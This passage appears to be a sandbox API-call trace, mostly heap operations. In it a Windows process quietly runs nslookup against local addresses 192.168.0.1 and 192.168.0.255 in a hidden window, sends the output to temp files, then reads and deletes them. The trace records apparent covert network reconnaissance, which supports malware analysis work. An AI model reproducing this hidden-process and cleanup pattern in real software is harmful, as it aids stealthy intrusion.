BaseAddress=0x21f3970) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed518) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f39b8) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed528) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3a00) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed538) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3a48) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed548) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3a90) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed558) returned 1 [0044.546] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3ad8) returned 1 [0044.547] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed568) returned 1 [0044.547] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e98) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21effc0 [0044.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9888, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0044.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9888, cbMultiByte=11, lpWideCharStr=0x21eeb70, cchWideChar=11 | out: lpWideCharStr="192.168.0.1") returned 11 [0044.547] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0044.550] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0044.550] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.550] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.550] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.550] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.550] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="e", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\eADBD.tmp" (normalized: "c:\\windows\\temp\\eadbd.tmp")) returned 0xadbd [0044.551] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0044.551] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\eADBD.tmp", lpszShortPath=0x21f45f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\eADBD.tmp") returned 0x19 [0044.551] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0044.551] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0044.551] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0044.551] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0044.552] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0044.552] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0044.552] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.552] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0044.552] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.553] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.553] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.553] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.554] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.554] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.554] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.555] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.555] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.555] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.556] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.556] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.556] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.556] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.556] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.556] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.557] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.557] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.557] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0044.558] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0044.558] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0044.558] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="p43", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\p43ADCE.tmp" (normalized: "c:\\windows\\temp\\p43adce.tmp")) returned 0xadce [0044.558] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0044.558] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f4a00 [0044.559] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\p43ADCE.tmp", lpszShortPath=0x21f4a00, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\p43ADCE.tmp") returned 0x1b [0044.559] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0044.559] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0044.559] CreateFileW (lpFileName="C:\\Windows\\TEMP\\eADBD.tmp" (normalized: "c:\\windows\\temp\\eadbd.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0044.559] CreateFileW (lpFileName="C:\\Windows\\TEMP\\p43ADCE.tmp" (normalized: "c:\\windows\\temp\\p43adce.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0044.559] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x164, hStdError=0x15c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1", lpProcessInformation=0x18f9b8*(hProcess=0x160, hThread=0x158, dwProcessId=0x97c, dwThreadId=0x98c)) returned 1 [0045.624] NtClose (Handle=0x158) returned 0x0 [0045.625] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xea60) returned 0x0 [0048.767] NtClose (Handle=0x164) returned 0x0 [0048.780] NtClose (Handle=0x15c) returned 0x0 [0048.786] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0048.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\eADBD.tmp" (normalized: "c:\\windows\\temp\\eadbd.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a043c90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3a043c90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3c7d6a50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0048.797] CreateFileW (lpFileName="C:\\Windows\\TEMP\\eADBD.tmp" (normalized: "c:\\windows\\temp\\eadbd.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0048.802] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0048.803] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x2b [0048.805] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0048.808] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0048.808] ReadFile (in: hFile=0x15c, lpBuffer=0x21f9d98, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x21f9d98*, lpNumberOfBytesRead=0x18f974*=0x2b, lpOverlapped=0x0) returned 1 [0048.809] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0048.811] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0048.811] NtClose (Handle=0x15c) returned 0x0 [0048.814] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\eADBD.tmp" (normalized: "c:\\windows\\temp\\eadbd.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a043c90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3a043c90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3c7d6a50, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0048.817] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\eADBD.tmp", dwFileAttributes=0x80) returned 1 [0048.824] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\eADBD.tmp" (normalized: "c:\\windows\\temp\\eadbd.tmp")) returned 1 [0048.844] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\p43ADCE.tmp" (normalized: "c:\\windows\\temp\\p43adce.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a069df0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3a069df0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3c7fcbb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x3a)) returned 1 [0048.849] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\p43ADCE.tmp", dwFileAttributes=0x80) returned 1 [0048.855] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\p43ADCE.tmp" (normalized: "c:\\windows\\temp\\p43adce.tmp")) returned 1 [0048.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0048.877] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0048.877] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0048.878] NtClose (Handle=0x160) returned 0x0 [0048.881] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f4a00) returned 1 [0048.881] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f45f8) returned 1 [0048.885] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0048.887] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0048.888] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0048.889] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0048.890] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3f8 [0048.890] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0048.892] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0048.892] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0048.893] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4b8 [0048.893] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0048.894] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0048.896] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0048.896] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4c8 [0048.898] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9e28 [0048.898] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0048.899] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed468 [0048.899] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0048.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed660 [0048.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0048.902] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0048.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0048.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0048.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed578 [0048.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0048.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0048.906] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0048.907] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0048.908] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3f8) returned 1 [0048.909] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0048.909] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4b8) returned 1 [0048.910] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e28) returned 1 [0048.911] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4c8) returned 1 [0048.911] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0048.912] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed468) returned 1 [0048.912] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0048.912] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99f0) returned 1 [0048.914] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed358) returned 1 [0048.915] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0048.916] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed368) returned 1 [0048.917] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a80) returned 1 [0048.917] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed378) returned 1 [0048.918] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ac8) returned 1 [0048.920] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed388) returned 1 [0048.921] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0048.921] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed398) returned 1 [0048.921] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b58) returned 1 [0048.923] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3a8) returned 1 [0048.923] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ba0) returned 1 [0048.926] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3b8) returned 1 [0048.926] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9be8) returned 1 [0048.928] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3c8) returned 1 [0048.929] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c30) returned 1 [0048.929] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3d8) returned 1 [0048.930] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc08) returned 1 [0048.931] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0048.931] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3d8 [0048.933] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c30 [0048.933] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3c8 [0048.933] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9be8 [0048.934] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3b8 [0048.935] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ba0 [0048.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3a8 [0048.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b58 [0048.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0048.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0048.940] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0048.940] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0048.941] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0048.941] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed578) returned 1 [0048.943] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0048.944] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0048.945] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed660) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0049.050] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0049.050] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0049.050] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0049.050] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0049.050] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0049.050] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0049.050] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0049.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f97f8, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0049.053] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0049.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f97f8, cbMultiByte=13, lpWideCharStr=0x21eebf8, cchWideChar=13 | out: lpWideCharStr="192.168.0.255") returned 13 [0049.053] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0049.053] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0049.053] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0049.053] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0049.053] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0049.053] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0049.064] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0049.064] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.064] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0049.065] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0049.065] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0049.065] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.065] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0049.066] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0049.066] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.066] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0049.067] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0049.067] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.067] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0049.068] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0049.068] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.068] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0049.068] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0049.068] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.069] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="g", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\gBF1D.tmp" (normalized: "c:\\windows\\temp\\gbf1d.tmp")) returned 0xbf1d [0049.069] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0049.069] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f45f8 [0049.069] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\gBF1D.tmp", lpszShortPath=0x21f45f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\gBF1D.tmp") returned 0x19 [0049.070] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0049.070] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0049.070] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0049.070] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0049.070] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0049.071] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0049.071] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.071] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0049.071] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, 